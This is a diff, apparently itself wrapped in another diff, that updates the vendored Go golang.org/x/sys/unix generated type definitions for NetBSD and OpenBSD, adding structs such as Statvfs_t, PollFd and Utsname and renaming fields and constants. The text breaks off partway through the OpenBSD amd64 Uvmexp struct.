-diff --git a/vendor/golang.org/x/sys/unix/ztypes_netbsd_386.go b/vendor/golang.org/x/sys/unix/ztypes_netbsd_386.go
-index 42f99c0a..a89100c0 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_netbsd_386.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_netbsd.go
-+// cgo -godefs types_netbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,netbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -57,27 +57,54 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev uint64
-- Mode uint32
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev uint64
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Spare [2]uint32
-+ Dev uint64
-+ Mode uint32
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize uint32
-+ Flags uint32
-+ Gen uint32
-+ Spare [2]uint32
- }
-
- type Statfs_t [0]byte
-
-+type Statvfs_t struct {
-+ Flag uint32
-+ Bsize uint32
-+ Frsize uint32
-+ Iosize uint32
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Bresvd uint64
-+ Files uint64
-+ Ffree uint64
-+ Favail uint64
-+ Fresvd uint64
-+ Syncreads uint64
-+ Syncwrites uint64
-+ Asyncreads uint64
-+ Asyncwrites uint64
-+ Fsidx Fsid
-+ Fsid uint32
-+ Namemax uint32
-+ Owner uint32
-+ Spare [4]uint32
-+ Fstypename [32]byte
-+ Mntonname [1024]byte
-+ Mntfromname [1024]byte
-+}
-+
- type Flock_t struct {
- Start int64
- Len int64
-@@ -99,6 +126,24 @@ type Fsid struct {
- X__fsid_val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
-+const (
-+ ST_WAIT = 0x1
-+ ST_NOWAIT = 0x2
-+)
-+
-+const (
-+ FADV_NORMAL = 0x0
-+ FADV_RANDOM = 0x1
-+ FADV_SEQUENTIAL = 0x2
-+ FADV_WILLNEED = 0x3
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -382,11 +427,45 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type Ptmget struct {
-+ Cfd int32
-+ Sfd int32
-+ Cn [1024]byte
-+ Sn [1024]byte
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x400
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type Sysctlnode struct {
- Flags uint32
- Num int32
-@@ -399,3 +478,21 @@ type Sysctlnode struct {
- X_sysctl_parent [8]byte
- X_sysctl_desc [8]byte
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go
-index ff290ba0..289184e0 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_netbsd.go
-+// cgo -godefs types_netbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,netbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -58,30 +58,58 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev uint64
-- Mode uint32
-- Pad_cgo_0 [4]byte
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Pad_cgo_1 [4]byte
-- Rdev uint64
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Spare [2]uint32
-- Pad_cgo_2 [4]byte
-+ Dev uint64
-+ Mode uint32
-+ _ [4]byte
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ _ [4]byte
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize uint32
-+ Flags uint32
-+ Gen uint32
-+ Spare [2]uint32
-+ _ [4]byte
- }
-
- type Statfs_t [0]byte
-
-+type Statvfs_t struct {
-+ Flag uint64
-+ Bsize uint64
-+ Frsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Bresvd uint64
-+ Files uint64
-+ Ffree uint64
-+ Favail uint64
-+ Fresvd uint64
-+ Syncreads uint64
-+ Syncwrites uint64
-+ Asyncreads uint64
-+ Asyncwrites uint64
-+ Fsidx Fsid
-+ Fsid uint64
-+ Namemax uint64
-+ Owner uint32
-+ Spare [4]uint32
-+ Fstypename [32]byte
-+ Mntonname [1024]byte
-+ Mntfromname [1024]byte
-+ _ [4]byte
-+}
-+
- type Flock_t struct {
- Start int64
- Len int64
-@@ -103,6 +131,24 @@ type Fsid struct {
- X__fsid_val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
-+const (
-+ ST_WAIT = 0x1
-+ ST_NOWAIT = 0x2
-+)
-+
-+const (
-+ FADV_NORMAL = 0x0
-+ FADV_RANDOM = 0x1
-+ FADV_SEQUENTIAL = 0x2
-+ FADV_WILLNEED = 0x3
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -389,11 +435,45 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type Ptmget struct {
-+ Cfd int32
-+ Sfd int32
-+ Cn [1024]byte
-+ Sn [1024]byte
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x400
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type Sysctlnode struct {
- Flags uint32
- Num int32
-@@ -406,3 +486,21 @@ type Sysctlnode struct {
- X_sysctl_parent [8]byte
- X_sysctl_desc [8]byte
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm.go b/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm.go
-index 66dbd7c0..428c450e 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_netbsd.go
-+// cgo -godefs types_netbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,netbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -59,30 +59,57 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev uint64
-- Mode uint32
-- Pad_cgo_0 [4]byte
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Pad_cgo_1 [4]byte
-- Rdev uint64
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Spare [2]uint32
-- Pad_cgo_2 [4]byte
-+ Dev uint64
-+ Mode uint32
-+ _ [4]byte
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ _ [4]byte
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize uint32
-+ Flags uint32
-+ Gen uint32
-+ Spare [2]uint32
-+ _ [4]byte
- }
-
- type Statfs_t [0]byte
-
-+type Statvfs_t struct {
-+ Flag uint32
-+ Bsize uint32
-+ Frsize uint32
-+ Iosize uint32
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Bresvd uint64
-+ Files uint64
-+ Ffree uint64
-+ Favail uint64
-+ Fresvd uint64
-+ Syncreads uint64
-+ Syncwrites uint64
-+ Asyncreads uint64
-+ Asyncwrites uint64
-+ Fsidx Fsid
-+ Fsid uint32
-+ Namemax uint32
-+ Owner uint32
-+ Spare [4]uint32
-+ Fstypename [32]byte
-+ Mntonname [1024]byte
-+ Mntfromname [1024]byte
-+}
-+
- type Flock_t struct {
- Start int64
- Len int64
-@@ -104,6 +131,24 @@ type Fsid struct {
- X__fsid_val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
-+const (
-+ ST_WAIT = 0x1
-+ ST_NOWAIT = 0x2
-+)
-+
-+const (
-+ FADV_NORMAL = 0x0
-+ FADV_RANDOM = 0x1
-+ FADV_SEQUENTIAL = 0x2
-+ FADV_WILLNEED = 0x3
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -387,11 +432,45 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type Ptmget struct {
-+ Cfd int32
-+ Sfd int32
-+ Cn [1024]byte
-+ Sn [1024]byte
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x400
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type Sysctlnode struct {
- Flags uint32
- Num int32
-@@ -404,3 +483,21 @@ type Sysctlnode struct {
- X_sysctl_parent [8]byte
- X_sysctl_desc [8]byte
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm64.go
-similarity index 73%
-copy from vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/ztypes_netbsd_arm64.go
-index ff290ba0..6f1f2842 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_netbsd_arm64.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_netbsd.go
-+// cgo -godefs types_netbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,netbsd
-+// +build arm64,netbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -58,30 +58,58 @@ type Rlimit struct {
- type _Gid_t uint32
-
- type Stat_t struct {
-- Dev uint64
-- Mode uint32
-- Pad_cgo_0 [4]byte
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Pad_cgo_1 [4]byte
-- Rdev uint64
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Birthtimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Spare [2]uint32
-- Pad_cgo_2 [4]byte
-+ Dev uint64
-+ Mode uint32
-+ _ [4]byte
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ _ [4]byte
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize uint32
-+ Flags uint32
-+ Gen uint32
-+ Spare [2]uint32
-+ _ [4]byte
- }
-
- type Statfs_t [0]byte
-
-+type Statvfs_t struct {
-+ Flag uint64
-+ Bsize uint64
-+ Frsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Bresvd uint64
-+ Files uint64
-+ Ffree uint64
-+ Favail uint64
-+ Fresvd uint64
-+ Syncreads uint64
-+ Syncwrites uint64
-+ Asyncreads uint64
-+ Asyncwrites uint64
-+ Fsidx Fsid
-+ Fsid uint64
-+ Namemax uint64
-+ Owner uint32
-+ Spare [4]uint32
-+ Fstypename [32]byte
-+ Mntonname [1024]byte
-+ Mntfromname [1024]byte
-+ _ [4]byte
-+}
-+
- type Flock_t struct {
- Start int64
- Len int64
-@@ -103,6 +131,24 @@ type Fsid struct {
- X__fsid_val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
-+const (
-+ ST_WAIT = 0x1
-+ ST_NOWAIT = 0x2
-+)
-+
-+const (
-+ FADV_NORMAL = 0x0
-+ FADV_RANDOM = 0x1
-+ FADV_SEQUENTIAL = 0x2
-+ FADV_WILLNEED = 0x3
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -389,11 +435,45 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+type Ptmget struct {
-+ Cfd int32
-+ Sfd int32
-+ Cn [1024]byte
-+ Sn [1024]byte
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x400
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type Sysctlnode struct {
- Flags uint32
- Num int32
-@@ -406,3 +486,21 @@ type Sysctlnode struct {
- X_sysctl_parent [8]byte
- X_sysctl_desc [8]byte
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_openbsd_386.go b/vendor/golang.org/x/sys/unix/ztypes_openbsd_386.go
-index 20fc9f45..61ea0019 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_openbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_openbsd_386.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_openbsd.go
-+// cgo -godefs types_openbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,openbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -56,23 +56,6 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
- Mode uint32
- Dev int32
-@@ -140,6 +123,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -440,7 +427,145 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x4
- AT_SYMLINK_NOFOLLOW = 0x2
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Sigset_t uint32
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofUvmexp = 0x158
-+
-+type Uvmexp struct {
-+ Pagesize int32
-+ Pagemask int32
-+ Pageshift int32
-+ Npages int32
-+ Free int32
-+ Active int32
-+ Inactive int32
-+ Paging int32
-+ Wired int32
-+ Zeropages int32
-+ Reserve_pagedaemon int32
-+ Reserve_kernel int32
-+ Anonpages int32
-+ Vnodepages int32
-+ Vtextpages int32
-+ Freemin int32
-+ Freetarg int32
-+ Inactarg int32
-+ Wiredmax int32
-+ Anonmin int32
-+ Vtextmin int32
-+ Vnodemin int32
-+ Anonminpct int32
-+ Vtextminpct int32
-+ Vnodeminpct int32
-+ Nswapdev int32
-+ Swpages int32
-+ Swpginuse int32
-+ Swpgonly int32
-+ Nswget int32
-+ Nanon int32
-+ Nanonneeded int32
-+ Nfreeanon int32
-+ Faults int32
-+ Traps int32
-+ Intrs int32
-+ Swtch int32
-+ Softs int32
-+ Syscalls int32
-+ Pageins int32
-+ Obsolete_swapins int32
-+ Obsolete_swapouts int32
-+ Pgswapin int32
-+ Pgswapout int32
-+ Forks int32
-+ Forks_ppwait int32
-+ Forks_sharevm int32
-+ Pga_zerohit int32
-+ Pga_zeromiss int32
-+ Zeroaborts int32
-+ Fltnoram int32
-+ Fltnoanon int32
-+ Fltnoamap int32
-+ Fltpgwait int32
-+ Fltpgrele int32
-+ Fltrelck int32
-+ Fltrelckok int32
-+ Fltanget int32
-+ Fltanretry int32
-+ Fltamcopy int32
-+ Fltnamap int32
-+ Fltnomap int32
-+ Fltlget int32
-+ Fltget int32
-+ Flt_anon int32
-+ Flt_acow int32
-+ Flt_obj int32
-+ Flt_prcopy int32
-+ Flt_przero int32
-+ Pdwoke int32
-+ Pdrevs int32
-+ Pdswout int32
-+ Pdfreed int32
-+ Pdscans int32
-+ Pdanscan int32
-+ Pdobscan int32
-+ Pdreact int32
-+ Pdbusy int32
-+ Pdpageouts int32
-+ Pdpending int32
-+ Pddeact int32
-+ Pdreanon int32
-+ Pdrevnode int32
-+ Pdrevtext int32
-+ Fpswtch int32
-+ Kmapent int32
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go
-index 46fe9490..87a493f6 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_openbsd.go
-+// cgo -godefs types_openbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,openbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -56,48 +56,31 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
-- Mode uint32
-- Dev int32
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Pad_cgo_0 [4]byte
-- X__st_birthtim Timespec
-+ Mode uint32
-+ Dev int32
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ _ [4]byte
-+ _ Timespec
- }
-
- type Statfs_t struct {
- F_flags uint32
- F_bsize uint32
- F_iosize uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- F_blocks uint64
- F_bfree uint64
- F_bavail int64
-@@ -116,7 +99,7 @@ type Statfs_t struct {
- F_mntonname [90]int8
- F_mntfromname [90]int8
- F_mntfromspec [90]int8
-- Pad_cgo_1 [2]byte
-+ _ [2]byte
- Mount_info [160]byte
- }
-
-@@ -129,19 +112,23 @@ type Flock_t struct {
- }
-
- type Dirent struct {
-- Fileno uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Namlen uint8
-- X__d_padding [4]uint8
-- Name [256]int8
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Namlen uint8
-+ _ [4]uint8
-+ Name [256]int8
- }
-
- type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -212,10 +199,10 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Iov *Iovec
- Iovlen uint32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -277,8 +264,8 @@ type FdSet struct {
- }
-
- const (
-- SizeofIfMsghdr = 0xf8
-- SizeofIfData = 0xe0
-+ SizeofIfMsghdr = 0xa8
-+ SizeofIfData = 0x90
- SizeofIfaMsghdr = 0x18
- SizeofIfAnnounceMsghdr = 0x1a
- SizeofRtMsghdr = 0x60
-@@ -307,7 +294,7 @@ type IfData struct {
- Link_state uint8
- Mtu uint32
- Metric uint32
-- Pad uint32
-+ Rdomain uint32
- Baudrate uint64
- Ipackets uint64
- Ierrors uint64
-@@ -319,12 +306,11 @@ type IfData struct {
- Imcasts uint64
- Omcasts uint64
- Iqdrops uint64
-+ Oqdrops uint64
- Noproto uint64
- Capabilities uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Lastchange Timeval
-- Mclpool [7]Mclpool
-- Pad_cgo_1 [4]byte
- }
-
- type IfaMsghdr struct {
-@@ -385,13 +371,7 @@ type RtMetrics struct {
- Pad uint32
- }
-
--type Mclpool struct {
-- Grown int32
-- Alive uint16
-- Hwm uint16
-- Cwm uint16
-- Lwm uint16
--}
-+type Mclpool struct{}
-
- const (
- SizeofBpfVersion = 0x4
-@@ -412,9 +392,9 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ _ [4]byte
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -425,11 +405,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp BpfTimeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp BpfTimeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type BpfTimeval struct {
-@@ -447,7 +427,145 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x4
- AT_SYMLINK_NOFOLLOW = 0x2
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Sigset_t uint32
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofUvmexp = 0x158
-+
-+type Uvmexp struct {
-+ Pagesize int32
-+ Pagemask int32
-+ Pageshift int32
-+ Npages int32
-+ Free int32
-+ Active int32
-+ Inactive int32
-+ Paging int32
-+ Wired int32
-+ Zeropages int32
-+ Reserve_pagedaemon int32
-+ Reserve_kernel int32
-+ Anonpages int32
-+ Vnodepages int32
